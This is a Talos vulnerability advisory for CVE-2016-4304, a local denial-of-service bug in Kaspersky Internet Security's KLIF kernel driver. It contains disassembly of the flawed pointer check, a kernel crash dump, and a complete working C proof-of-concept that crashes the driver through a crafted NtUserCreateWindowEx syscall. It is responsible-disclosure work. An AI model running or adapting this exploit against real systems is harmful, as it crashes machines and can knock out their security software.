Talos Vulnerability Report

TALOS-2016-0166

Kaspersky Internet Security KLIF Driver NtUserCreateWindowEx_HANDLER Denial of Service

August 26, 2016

Report ID

CVE-2016-4304

Summary

A denial of service vulnerability exists in the syscall filtering functionality of the Kaspersky Internet Security KLIF driver. A specially crafted native api call request can cause a access violation exception in KLIF kernel driver resulting in local denial of service. An attacker can run program from user mode to trigger this vulnerability.

Tested Versions

Kaspersky Internet Security 16.0.0, KLIF driver version 10.0.0.1532

Product URLs

http://kaspersky.com

CVSSv3 Score

5.5 - CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Details

This vulnerability can be triggered by sending specially crafted NtUserCreateWindowEx call. Kaspersky Internet Security on x86 platforms by default hooks internal Windows kernel functions. This includes functions from KiServiceTable and W32pServiceTable. Even though new function hooks point to the KLHK driver the real handlers are located in the KLIF driver - KLHK driver acts more like a dispatcher.

The faulting code or rather codes are located in the KLIF driver in a function responsible for filtering the NtUserCreateWindowEx:

Denial of Service location 1:

.text:00034BE7                 mov     edi, [ebp+arg_8_plstrClsVersion]
.text:00034BEA                 mov     [ebp+var_C], eax
.text:00034BED                 mov     [ebp+var_8], eax
.text:00034BF0                 mov     [ebp+P], eax
.text:00034BF3                 mov     [ebp+var_18], eax
.text:00034BF6                 mov     [ebp+var_14], eax
.text:00034BF9                 mov     [ebp+var_10], eax
.text:00034BFC                 mov     ebx, eax
.text:00034BFE                 test    edi, edi
.text:00034C00                 jz      short loc_34C3B
.text:00034C02                 push    edi
.text:00034C03                 lea     eax, [ebp+var_C]
.text:00034C06                 push    eax
.text:00034C07                 call    TestPtrAndCopy
.text:00034C0C                 test    eax, eax
.text:00034C0E                 js      short loc_34C3B
.text:00034C10                 mov     edx, [ebp+var_C]
.text:00034C13                 mov     ecx, [edi+8]         ; *** AV HERE ***

Denial of Service location 2:

.text:00034C3B                 mov     esi, [ebp+arg_C_plstrWindowName]
.text:00034C3E                 test    esi, esi
.text:00034C40                 jz      short loc_34C7B
.text:00034C42                 push    esi
.text:00034C43                 lea     eax, [ebp+var_18]
.text:00034C46                 push    eax
.text:00034C47                 call    TestPtrAndCopy
.text:00034C4C                 test    eax, eax
.text:00034C4E                 js      short loc_34C7B
.text:00034C50                 mov     edx, [ebp+var_18]
.text:00034C53                 mov     ecx, [esi+8]         ; *** AV HERE ***

Variables arg_8_plstrClsVersion and arg_C_plstrWindowName are arguments of the NtUserCreateWindowEx call. They both are defined as pointers to unicode strings.

Kaspersky checks in the TestPtrAndCopy function whether the provided pointer resides in the user space and whether first 4 bytes are readable:

.text:00040434                 mov     ecx, [ebp+arg_4_SuppliedPointer]
.text:00040437                 mov     eax, ds:MmUserProbeAddress
.text:0004043C                 cmp     ecx, [eax]
.text:0004043E                 jb      short read_ptr
.text:00040440                 mov     eax, 0C0000005h
.text:00040445                 jmp     short bad_ptr
.text:00040447 ; ---------------------------------------------------------------------------
.text:00040447
.text:00040447 read_ptr:                               ; CODE XREF: TestPtrAndCopy+18j
.text:00040447                 mov     [ebp+ms_exc.registration.TryLevel], edx
.text:0004044A                 mov     ecx, [ecx]
.text:0004044C                 mov     eax, [ebp+arg_0]
.text:0004044F                 mov     [eax], ecx

However this check is not enough since only 4 bytes are tested and later on Kaspersky tries to access the dword located at offset +0x8 which wasn’t validated. This can lead to local denial of serivice attack when the memory located at offset +0x8 is not accessible.

This vulnerability can be triggered either by forging the arg_8_plstrClsVersion argument or the arg_C_plstrWindowName argument.

Crash Information

*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

Unknown bugcheck code (0)
Unknown bugcheck description
Arguments:
Arg1: 00000000
Arg2: 00000000
Arg3: 00000000
Arg4: 00000000

Debugging Details:
------------------

*** WARNING: Unable to verify checksum for poc_kaspersky1.exe
*** ERROR: Module load completed but symbols could not be loaded for poc_kaspersky1.exe

PROCESS_NAME:  poc_kaspersky1

FAULTING_IP:
klif+24c13
8ca57c13 8b4f08          mov     ecx,dword ptr [edi+8]

ERROR_CODE: (NTSTATUS) 0xc0000005 - Instrukcja spod 0x%08lx odwo

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - Instrukcja spod 0x%08lx odwo

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  003c1001

READ_ADDRESS:  003c1001

FOLLOWUP_IP:
klif+24c13
8ca57c13 8b4f08          mov     ecx,dword ptr [edi+8]

BUGCHECK_STR:  ACCESS_VIOLATION

DEFAULT_BUCKET_ID:  WIN7_DRIVER_FAULT

CURRENT_IRQL:  0

ANALYSIS_VERSION: 6.3.9600.17298 (debuggers(dbg).141024-1500) amd64fre

LAST_CONTROL_TRANSFER:  from 8cb2a05a to 8ca57c13

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
96c27b70 8cb2a05a 00000200 002df71c 003c0ff9 klif+0x24c13
96c27bbc 8cb2b206 8ca57bda 96c27bf8 0000003c klhk!Ordinal11+0x1a
96c27bd8 8cb2a01f 868509f0 96c27bf8 96c27bec klhk!Ordinal11+0x11c6
96c27bf0 828531ea 00000200 002df71c 003c0ff9 klhk+0x101f
96c27bf0 776f70b4 00000200 002df71c 003c0ff9 nt!KiFastCallEntry+0x12a
002df680 77815679 01121039 00000200 002df71c ntdll!KiFastSystemCallRet
002df684 01121039 00000200 002df71c 003c0ff9 USER32!NtUserInvalidateRect+0xc
002df6c8 011211a6 00001169 00000200 002df71c poc_kaspersky1+0x1039
002df76c 011211fc 01121b57 00000001 006d1930 poc_kaspersky1+0x11a6
002df7bc 01121a2f 002df7d0 77623c45 7ffdf000 poc_kaspersky1+0x11fc
002df7c4 77623c45 7ffdf000 002df810 777137f5 poc_kaspersky1+0x1a2f
002df7d0 777137f5 7ffdf000 775d9327 00000000 kernel32!BaseThreadInitThunk+0xe
002df810 777137c8 01121a20 7ffdf000 00000000 ntdll!__RtlUserThreadStart+0x70
002df828 00000000 01121a20 7ffdf000 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  kb

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  klif+24c13

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: klif

IMAGE_NAME:  klif.sys

DEBUG_FLR_IMAGE_TIMESTAMP:  563cb397

IMAGE_VERSION:  10.0.0.1532

FAILURE_BUCKET_ID:  ACCESS_VIOLATION_klif+24c13

BUCKET_ID:  ACCESS_VIOLATION_klif+24c13

ANALYSIS_SOURCE:  KM

FAILURE_ID_HASH_STRING:  km:access_violation_klif+24c13

FAILURE_ID_HASH:  {8df03fe2-00a6-85bc-7dc2-67304e3d5aab}

Followup: MachineOwner
---------

Exploit Proof-of-Concept

#include	<stdio.h>
#include	<conio.h>
#include	<windows.h>


typedef			DWORD UARCH;
typedef			BYTE  UCHAR;

#ifndef __UNICODE_STRING_DEFINED__
#define __UNICODE_STRING_DEFINED__
typedef struct _UNICODE_STRING {
  USHORT Length;        /* bytes */
  USHORT MaximumLength; /* bytes */
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
#endif


#define ARG_START	(4*3)

DWORD			_SyscallStub				=	0;
DWORD			CreateWindowSyscallNum		=	0x1169;			// windows 7 sp1 x86

_declspec(naked) UARCH			CallSyscall32_EXT(UINT32 SyscallNumber,
                   UARCH Arg1,
                   UARCH Arg2,
                   UARCH Arg3,
                   UARCH Arg4,
                   UARCH Arg5,
                   UARCH Arg6,
                   UARCH Arg7,
                   UARCH Arg8,

                   UARCH Arg9,
                   UARCH Arg10,
                   UARCH Arg11,
                   UARCH Arg12,
                   UARCH Arg13,
                   UARCH Arg14,
                   UARCH Arg15)
{
    _asm
    {

        ; we cant use registers here (ebx, esi, edi, ebp*) sorry or everything will start crashing

        push	ebp
        mov		ebp, esp


        ; stack[arguments]

        //int		3


        push	[ebp + ARG_START + (4 * 14)]
        push	[ebp + ARG_START + (4 * 13)]
        push	[ebp + ARG_START + (4 * 12)]
        push	[ebp + ARG_START + (4 * 11)]
        push	[ebp + ARG_START + (4 * 10)]
        push	[ebp + ARG_START + (4 * 9)]
        push	[ebp + ARG_START + (4 * 8)]

        push	[ebp + ARG_START + (4 * 7)]
        push	[ebp + ARG_START + (4 * 6)]
        push	[ebp + ARG_START + (4 * 5)]
        push	[ebp + ARG_START + (4 * 4)]
        push	[ebp + ARG_START + (4 * 3)]
        push	[ebp + ARG_START + (4 * 2)]
        push	[ebp + ARG_START + (4 * 1)]
        push	[ebp + ARG_START + (4 * 0)]

        mov		eax, [ebp + 8]				; syscall number
        call	dword ptr[_SyscallStub]

        mov		esp, ebp
        pop		ebp
        ret		4 + (4*15)

    }
}

int GetSyscallStub(void)
{
    DWORD	temp	=	(DWORD)GetProcAddress((HMODULE)LoadLibrary("user32.dll"), "InvalidateRect");
    if (!temp)
    {
        printf(__FUNCTION__": unable to get syscall stub \r\n");
        exit(-1);
    }

    _SyscallStub	=	temp + 5;
    return 1;
}

int ProtectMemory(PVOID Mem, DWORD Size, DWORD ProtectRights)
{
    DWORD oldp;
    if (VirtualProtect(Mem, Size, ProtectRights, &oldp) != 0)
        return 1;
    return 0;
}



void crash_kaspersky(void)
{
    WNDCLASSEX		wcex;
    char WND_CLASS[] = "WWW";

    ZeroMemory(&wcex, sizeof(wcex));
    wcex.cbSize			=	sizeof(WNDCLASSEX);

    wcex.style			=	CS_HREDRAW | CS_VREDRAW;
    wcex.lpfnWndProc	=	(WNDPROC)&crash_kaspersky;
    wcex.hInstance		=	(HINSTANCE)GetModuleHandle(NULL);
    wcex.lpszClassName	=	WND_CLASS;
    wcex.hbrBackground	=	(HBRUSH)(COLOR_WINDOW + 1);
    wcex.hIcon			=	LoadIcon (NULL, IDI_APPLICATION) ;
    wcex.hCursor		=	LoadCursor (NULL, IDC_ARROW) ;

    if (RegisterClassEx(&wcex) == NULL)
    {
        printf(__FUNCTION__": error - RegisterClassEx() error code %d\n", GetLastError());
        return;
    }




    UNICODE_STRING us1;
    wchar_t		out_str[]	= L"WWW";
    us1.Buffer				= out_str;
    us1.MaximumLength		= us1.Length = lstrlenW(out_str);

    UCHAR *bad_pages = (UCHAR*)VirtualAlloc(0, 4096 * 2, MEM_COMMIT, PAGE_READWRITE);
    memset(bad_pages, 0x8, 4096 * 2);

    ProtectMemory((PVOID)&bad_pages[4096], 4096, PAGE_NOACCESS);
    UCHAR *bad = (UCHAR*)&bad_pages[4096 - 7];
    DWORD style =  WS_CAPTION | WS_SYSMENU | WS_GROUP;


    DWORD ret = CallSyscall32_EXT(CreateWindowSyscallNum,
        WS_EX_CLIENTEDGE,		// ex style
        (UARCH)&us1,			// class name // this does not trigger the bug
        (UARCH)bad,				// plstrClsVersion		// bug here tested
        (UARCH)&us1,			// plstrWindowName		// bug here tested
        style,
        0x10,
        0x20,
        0x30,
        0x40,
        NULL, //hParent
        NULL, //hMenu
        (UARCH)GetModuleHandle(NULL),
        0,
        0x400,
        0);

}

int main(void)
{
    GetSyscallStub();
    crash_kaspersky();
    return 0;
}

Credit

Discovered by Piotr Bania of Cisco Talos.

Timeline

2016-04-29 - Vendor Notification
2016-08-26 – Patch Released
2016-08-26 – Public Disclosure